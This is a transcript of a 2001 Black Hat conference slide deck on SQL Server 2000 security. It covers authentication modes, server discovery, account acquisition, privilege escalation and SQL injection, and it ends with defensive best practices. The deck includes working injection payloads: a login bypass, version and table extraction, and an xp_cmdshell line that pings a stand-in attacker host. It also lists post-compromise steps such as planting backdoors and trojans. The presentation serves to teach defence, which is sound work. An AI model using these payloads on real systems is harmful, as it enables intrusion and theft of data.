Transcript SQL Server 2K Security Chip Andrews Black Hat W2K Conference Feb 2001 11/7/2015 Presentation Outline  Section 1 – The Good – SQL Server Security Overview – Logins/Roles/Groups/Users/Applications –

SQL Server 2K Security
Chip Andrews
Black Hat W2K Conference
Feb 2001
11/7/2015
1
Presentation Outline

Section 1 – The Good
– SQL Server Security Overview
– Logins/Roles/Groups/Users/Applications
– Net-libs/Encryption/Integrity

Section 2 – The Bad
– Fingerprinting
– Account Acquisition
– Privilege Escalation

Section 3 – The Ugly
– SQL-Injection
– Input Validation
– Best-Practices
11/7/2015
2
Presence

Biztalk Server 2000
 Commerce Server 2000
 Application Center Server 2000
 Third-Party Apps (MSDE)
– Tumbleweed Worldsecure
– Valadeo Technologies, Inc.
– O’Reilly & Associates, Inc. (WebBoard)
– Telemate.net
11/7/2015
3
Presence (Part 2)

#1 Most Important Presence
– YOUR Applications!
 Assets
–
–
–
–
–
11/7/2015
Customer Information
Credit Card / Purchase Data
Authentication credentials for other systems
Orders/Invoices/Business Documents
Your Reputation
4
Security Framework
SQL Server 2000 Security Pathway
Client
Named Pipes
Net-lib
IP Sockets
Net-lib
Multi-Protocol
Net-lib
Other
Net-lib
sysxlogins table
master database
sysusers table
database1
sp_myprocedure
syspermissions
11/7/2015
mytable table
syspermissions
sysusers table
database2
myview view
syspermissions
5
Net Libraries

By default, TCP/IP and Named Pipes are enabled
– Super Sockets net-lib allows SSL over any other net-lib
when trusted certificate is installed on SQL Server
– Multi-protocol (RPC) is not longer necessary since all
net-libs now support encryption and multi-protocol
does not support named instances (Microsoft code for
“soon to be retired”)
– Other net-libs include Appletalk, NWLink IPX/SPX,
and Banyan VINES
11/7/2015
6
SQL Server Security Modes

Windows Authentication Mode
– Requires user to be authenticated by Windows
NT/2000
– This is the new default for SQL Server 2000
– Cannot be used for Windows 98/Me (Personal
Edition) installs
– Permissions granted directly to Windows
accounts which are tracked by Windows
security identifiers (SIDs)
11/7/2015
7
SQL Server Security Modes
(cont.)

Mixed Mode
– Both SQL Server and Windows Authentication
Mode logins are allowed access
– Lacks strong authentication controls such as
password complexity, expiration, lockout, or
history when using SQL Server logins
– Provided for backwards compatibility and
Windows 98/Me installations (Personal
Edition)
11/7/2015
8
Good Idea – What’s the
problem?

Microsoft recommends Windows Authentication
Mode – Sounds like a no-brainer
– The Problems




11/7/2015
Microsoft can’t seem to take it own medicine (MSCS 2000,
Biztalk 2000)
Many developers avoid anything that involves having to learn
a security model usually reserved for IT personnel as it extends
the deployment phase with “unnecessary complexity”
Performance issues with connection pooling if users each have
their own security context so why not just use a single SQL
Server login?
Developers LOVE connection strings
9
SQL Server Logins

Kept in the sysxlogins table
– SIDs of users or groups stored for Windows
Authentication logins
– 16-byte GUID generated for SQL Server native
logins and stored in SID column
11/7/2015
10
SQL Server Users

Users are stored in individual databases in
the sysusers table
– Determines who has access to database objects
– Can be assigned to fixed (db_owner,
db_ddladmin, etc.) or user-defined database
roles
– User privileges can be managed using GRANT,
DENY, and REVOKE
11/7/2015
11
SQL Server Roles

Somewhat analogous to user rights in NT/2000
– Fixed Server Roles

Sysadmin,serveradmin, securityadmin, etc.
– Fixed Database Roles

Db_owner, db_accessadmin, db_securityadmin, etc.
– User Database Roles (think “groups”)

Ease of administration
– Application Roles (sp_setapprole)

11/7/2015
Give users access to an application but not the SQL server
itself
12
C2 Style Auditing
exec sp_configure ‘C2 Audit Mode’,1
go
reconfigure
go
– Automatically creates a trace file called
audit_YYYYMMDDHHMMSS_[seq].trc in
directory \microsoft sql server\mssql\data
– Trace files can easily be imported for thorough
analysis
11/7/2015
13
Section 1 Conclusion

Microsoft has made some great strides to
improve the security of SQL Server
– Some ideas for future releases
 Field-level encryption – mainly because I’m tired of
saying “do it somewhere else”
 Do a better job of “leading by example” when it
comes to recommending security models
 Consider disabling the use of the LocalSystem
account for the MSSQLServer service since
Certificates are not supported
11/7/2015
14
Section 2 – The Bad

Fingerprinting/Discovery
 Acquiring Access
 Privilege Escalation
 Potential Pitfalls
– Custom DLLs
– Application Requirements
– Source Disclosure
11/7/2015
15
Target Acquisition

IIS Web Servers - a good bet SQL Server is driving it
– telnet targetname 80
– HEAD / HTTP/1.0
– www.netcraft.com

Dig for hints about target database usage
– Newsgroups
 www.dejanews.com
 SQL discussion boards (www.swynk.com)
– Job Postings
 Corporate website (click ‘careers’)
 www.monster.com etc.

If all else fails - ask
11/7/2015
16
Newsgroups

The Good News: Most developers need help
somewhere along the way and newsgroups are
great for that
 The Bad News: You may be announcing your
architecture to potential attackers
 www.dejanews.com
– Advanced search


11/7/2015
From : *@target.com
Containing : sql server
17
SQL Scanning

TCP port 1433
– SQL Server defaults to listen on these ports
since ip-sockets net-lib is installed by default
(along with named pipes)

UDP port 1434
– Thanks to multiple instancing, having to know
the exact port is not needed to connect since the
net-libs will be more than happy to autoconnect you to the instance
11/7/2015
18
SQL Scanning (cont.)
Starting nmapNT V. 2.53 SP1 by [email protected]
eEye Digital Security ( http://www.eEye.com )
based on nmap by [email protected] ( www.insecure.org/nmap/ )
Interesting ports on (10.6.6.205):
(The 1507 ports scanned but not shown below are in state: closed)
Port
State
Service
21/tcp
open
ftp
25/tcp
open
smtp
80/tcp
open
http
88/tcp
open
kerberos-sec
135/tcp
open
loc-srv
139/tcp
open
netbios-ssn
389/tcp
open
ldap
443/tcp
open
https
445/tcp
open
microsoft-ds
464/tcp
open
kpasswd5
593/tcp
open
http-rpc-epmap
636/tcp
open
ldapssl
1026/tcp
open
nterm
1080/tcp
open
socks
1433/tcp
open
ms-sql-s
------3389/tcp
open
msrdp
11/7/2015
19
SQL Server Discovery

Multiple instancing capabilities of SQL Server
2000 make enumeration a functional requirement
 A specially formed UDP packet directed at port
1434 will cause the SQL 2K listener service to
divulge information about every instance of SQL
Server running on that machine
– Packet Information




11/7/2015
Instance names
Net-libs supported
TCP ports and pipe names
Clustering support (juicy targets)
20
Broadcast Discovery

Since the listener may exist on multiple
machines, it is possible to send a broadcast
UDP packet to port 1434 to discover all
instances of SQL Server 2000 on a subnet
– Osql –L (will return a raw listing)
– Capture returned packets
– Analyze
11/7/2015
21
SQL Server Discovery
The following is a sample response from a SQL Server to the UDP
broadcast:
(Captured using Snort-1.6.3 – http://www.snort.org)
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SQL Server Reply [**]
12/22-14:18:22.320099 10.6.7.37:1434 -> 10.6.6.194:4412
UDP TTL:128 TOS:0x0 ID:15054
Len: 133
.z.ServerName;DEV-REPORT2;InstanceName;MSSQLSERVER;IsClustered;N
o;Version;8.00.194;tcp;1433;np;\\DEV-REPORT2\pipe\sql\query;;
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
11/7/2015
22
SQLPing Utility
http://www.sqlsecurity.com/utils/sqlping.zip

Directs a custom udp packet at a specific target or subnet and
enumerates the server info across multiple instances
Listening....
ServerName:LANDROVER
InstanceName:SQL2K
IsClustered:No
Version:8.00.194
tcp:1241
np:\\LANDROVER\pipe\MSSQL$SQL2K\sql\query
ServerName:LANDROVER
InstanceName:MSSQLServer
IsClustered:No
Version:7.00.623
np:\\LANDROVER\pipe\sql\query
tcp:1433
rpc:LANDROVER
11/7/2015
23
Account Acquisition

Brute Force (mixed security model)
– Multiple freeware tools (sqldict, sqlpoke,sqlbf)
– Mssqlserver lacks account lockouts or
password complexity requirements
– Do we even need to mention null ‘sa’ account
passwords?
11/7/2015
24
Account Acquisition (cont.)

Sniffing (mixed or NT security mode)
– L0phtcrack (to obtain NT account)
– TCP 1433 traffic (non SSL)

Connection strings (mixed mode)
– Client registry (regedit)
– Imbedded in ASP source or client-side script
(RDS)
– Config files (global.asa, connect.inc, etc.)
11/7/2015
25
Source Code Disclosure







2000-10-17: Microsoft IIS 4.0 / 5.0 Extended UNICODE Directory
Traversal Vulnerability
2000-08-14: Microsoft IIS 5.0 "Translate: f" Source Disclosure
Vulnerability
2000-07-17: Microsoft IIS 4.0/5.0 Source Fragment Disclosure
Vulnerability
2000-05-11: Microsoft IIS 4.0/5.0 Malformed Filename Request
Vulnerability
2000-03-31: MS Index Server '%20' ASP Source Disclosure
Vulnerability
2000-11-06: Microsoft IIS Executable File Parsing Vulnerability
2000-02-09: NT IIS ASP VBScript Runtime Error Viewable Source
Vulnerability
11/7/2015
*Source: www.securityfocus.com
26
Privilege Escalation

xp_cmdshell – Extended stored procedure that
allows access to the operating system
– SQL Server 2000 does not allow non-sysadmins to
access xp_cmdshell
– Administrators can assign a proxy account under which
non-sysadmins can use xp_cmdshell
– The real problem is that if an attacker can access SQL
Server as a system administrator, they can execute
operating system commands with the security context
of the MSSQLServer service
11/7/2015
27
Privilege Escalation (cont.)

Other methods
– xp_regread/xp_regwrite
– Sp_OACreate
– Enumeration functions
– Openrowset – heterogeneous queries can allow
attackers to brute-force their way into other
systems
11/7/2015
28
Other Potential Pitfalls

System extended stored procedures have
been found to have buffer overflow
vulnerabilities
– Some of these were executable by all users so
low-privilege SQL Server users instantly
gained MSSQLServer service context
– Custom DLLs can cause same issue – be
careful when writing your own extended stored
procs
11/7/2015
29
They’re in - Now What?

Create a backdoor account
 Trojan sp_password to capture passwords to
use on operating system
 Use tftp to pull a trojan extended stored
procedure
 Use this SQL Server to launch attacks
against other hosts
11/7/2015
30
Poor Practices Example

Microsoft Application Center Server
– ACL_Machine login and ACA_Machine group have
full system administration rights




11/7/2015
Truly necessary?
Injection Possible?
These accounts are used to log data about the servers
participating in an Application Center Server array – why all
the privilege just to perform logging?
Not trying to pick on Microsoft – simply showing that this
practice is common
31
Section 2 Conclusion

Sensible configuration management will
help secure SQL Server itself
– Take the time to scan your networks and
determine what people on the inside and the
outside can access
– Brute-force your own systems to be sure
password complexity and account policies (if
using Windows security) are sufficient
11/7/2015
32
Section 3 – The Ugly

SQL Code Injection
 Best Practices
 .NET Beta Functionality
 The Future
 “What can I do TODAY?”
11/7/2015
33
SQL Code Injection Risk

Ability of an attacker to inject unintended
SQL statements into application
– Consequences
 Exposure of sensitive data
 SQL privilege escalation
 OS access
 COM+ access
11/7/2015
34
Scope of SQL Injection

SQL injection attacks rarely alerts IDS
systems especially over SSL
 Difficult to track down all the areas of
exploitation since the only real solution is
manual code review
 No amount OS security, firewalls, patch
diligence will stop SQL injection.
 The solution is good coding practices
11/7/2015
35
SQL Injection Sample

ASP Code
<%
Set Conn =
Server.CreateObject("ADODB.Connection")
Conn.open “dsn=myapp;uid=sa;pwd=45nf3k332fhj“
Set RS = Conn.Execute("SELECT * from users where
username=‘" & username & “’ AND password=‘“ &
password & "’" )
%>
11/7/2015
36
SQL Injection Example 1

Normal login
Login Page
UserName:
bob
Password:
b2oQeDr!
SQL Server sees


11/7/2015
select * from users where username=‘bob’ and
password=‘b2oQeDr!’
All is well (or so it seems)
37
SQL Injection Example 1

Malicious Login
Login Page
UserName:
bob
Password:
‘ union select * from users where admin=1—
SQL Server sees


11/7/2015
select * from users where username=‘bob’ and password=‘’
union select * from users where admin=1
In this case the user logs in as the site administrator
38
SQL Injection Example 2

Normal usage
User Search
Enter Last Name : andrews
Results:
Last
First
Andrews,
chip
email
[email protected]
– Notice that on a search page we get immediate
feedback – good target for injection
– Also, since we see three columns we can assume that’s
all the SQL statement is selecting
11/7/2015
39
SQL Injection Example 2

Malicious Usage
User Search
Enter Last Name : ‘ union select ’’,’’,@@version
Results:
Last
X86)
11/7/2015
First
email
Microsoft SQL Server 2000 - 8.00.194 (Intel
Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 1)
40
SQL Injection Samples

Problems
– Poor input validation
– Secret in ASP code (source code disclosure)
– Poorly typed – SQL server and ASP not
checking data-types
– Security context too high for needed
functionality
11/7/2015
41
SQL Injection - Tricks

Tricks attackers use
– UNION statements to append data ripped from other SQL
– “—” double hyphen comment indicator to block out the rest of the
intended SQL
– Try a single quote in input fields to see if the query fails (failure usually
indicated bad input validation and possible exploitation)
– exec master..xp_cmdshell ‘ping HACKER_IP’ to
check for ‘sa’-level exploitable hosts
– select name from sysobjects where type = ‘u’
can expose tables to exploit
– Insert tablename exec sp_whatever – good way to see
output of stored procedures
– Use @@version to return SQL Server and OS versions and Service Packs
11/7/2015
42
SQL Injection – More Tricks

New sql_varaiant datatype
– Usually, when UNION-ing select statements,
the difficult part is matching data-types
– With the sql_variant data-type it is possible to
include any type other than text, ntext, image or
timestamp
Result: Attackers spend less time guessing about
column order
11/7/2015
43
SQL Injection – More Tricks
sql_variant sample:
Before:
select job_lvl, fname from employee union select
name,id from sysobjects where type='u‘
Result:
Syntax error converting the varchar value 'Paolo' to a column of
data type int.
–
After:
select job_lvl, fname from employee union select
convert(sql_variant,name), convert(sql_variant,id)
from sysobjects where type='u‘
Result:
authors
1977058079
discounts
245575913
dtproperties
645577338
employee
405576483
….(and then some)
–
11/7/2015
44
Solutions: Input Validation

Scrub input data to make sure it contains
only acceptable characters
replace(inputstring,’,””)
Remove single quotes to help
prevent quote-closing attacks
Set myregex = new regexp
myregex.global = True
myregex.pattern = “\W+”
cleaninput=myregex.replace
Remove all characters except a-zAZ0-9
Set myregex = new regexp
myregex.global = True
myregex.pattern = “\D+”
cleaninput=myregex.replace
Numbers only
11/7/2015
45
Input Validation (cont.)

Helps but not 100% effective – consider this:
<% x = replace(inputstring,’,””)
myrs = conn.execute “Select accesslevel from
usertable where username=“ & x %>
User inputs
‘0 union select accesslevel from usertable where uid like 1’

– The problem:
• Input still not strongly typed
– Solutions:
• Manual datatype filtering
• SQL Stored Procedures
• Sp_executesql
11/7/2015
46
Input Validation – Stored Procedures

Stored procedures can help enforce stronger typing but using them at
every database access can be brutal due to the sheer number of procs
that may need to be created
– Since SQL Server has already compiled the query plan for the
query, no further code injection is possible
Create procedure sp_login
@username varchar(20),
@password varchar(20)
AS
Select * from users where username = @username and
password = @password
11/7/2015
47
Input Validation – sp_executesql

sp_executesql is way to enforce safe,
strongly-typed ad-hoc SQL code
– Strong typing is good practice
– Performance benefits due to query processor execution plan reuse
– Allows the developer to get data without creating a new stored
procedure
<% Set RS = Conn.Execute("execute sp_executesql N'SELECT *
from users where username = @username and password =
@password' ,N'@username varchar(20)' ,N'@password
varchar(20)' ,@username='" & username & "', @password='" &
password &
11/7/2015
"'"
) %>
48
Discipline

#1 is making sure developers adhere to the
standards
– Develop a methodology
– Encourage reusable security components
– Code review
– QA Test Plans
– Code with an intruder’s mindset
11/7/2015
49
Best Practices






Use principle of least-privilege
Assign MSSQLServer service non-administrator
user context
Take the time to properly implement trusted
security (Integrated Mode)
Don’t place passwords in script
Assign complex ‘sa’ password even when using
Integrated security
Consider dropping certain procedures in the
interest of security. They can always be added
later.
11/7/2015
50
Best Practices (cont.)






Write re-usable input validation routines and make
their use mandatory
Perform ad-hoc queries only through
sp_executesql
Use stored procedures wherever possible
Code reviews are an absolute necessity
Evaluate third-party code and applications with
great scrutiny
Use SSL or IPSec to encrypt network traffic on
suspect subnets (more applicable to client/server
deployments but a powerful option)
11/7/2015
51
Best Practices - Intrusion
Detection

sp_trace_setevent and SQL Profiler can be
used to monitor server activity
– It is feasible that this information could be
reliably reviewed to produce anomaly reports
and intrusion detection signatures
– If you need immediate response times consider
logging to table and using triggers to fire alerts
11/7/2015
52
Best Practices - Integrity

SQL-DMO has method for database object to
script entire database
– Could easily be used to periodically generate script
profiles and compare them to previous versions
– Deltas could easily expose code changes and alert
administrators
– There are code examples with SQL server that
demonstrate these methods (Microsoft SQL
Server/80/tools/devtools/samples/sqldmo)
11/7/2015
53
Microsoft .NET

Web services
– Most will probably front-end database
operations
– Prime target for automated attacks
– SSL used to secure SOAP calls should foil
intrusion detection systems
– Make sure to perform diligent validation and
authentication
11/7/2015
54
Microsoft .Net (cont.)

.NET Framework includes input validation,
encryption, and session management functions
– While this is a great time-saver for developers, if
problems are found then instead of a single operation
being affected, all applications designed using the
framework are potentially vulnerable
– Be ready to stay on top of framework security and
question how Microsoft is doing things like session
management so you don’t get burned later is their
implementation is weak
11/7/2015
55
Reference Links









http://www.microsoft.com/sql/techinfo/security.htm
http://www.mssqlserver.com
http://www.sqlsecurity.com
http://www.ntfaq.com
http://www.wiretrip.net/rfp
http://www.swnkp.com
http://packetstorm.securify.com
http://www.securityfocus.com
http://www.sqlmag.com
11/7/2015
56
Recommended Reading





Howard, Levy, and Waymire. Designing Secure WebBased Applications for Microsoft Windows 2000.
Microsoft Press, 2000.
Schneier, Bruce. Secrets and Lies: Digital Security in a
Networked World. John Wiley & Sons, 2000.
McClure, Scambray, and Kurtz. Hacking Exposed: Second
Edition. Osborne, 2001.
Delaney, Kalen. Inside Microsoft SQL Server 2000.
Microsoft Press. ISBN: 0-7356-0998-5.
Rain Forest Puppy – Phrack Magazine Volume 8, Issue 54
Dec 25th, 1998, article 8 of 12.
11/7/2015
57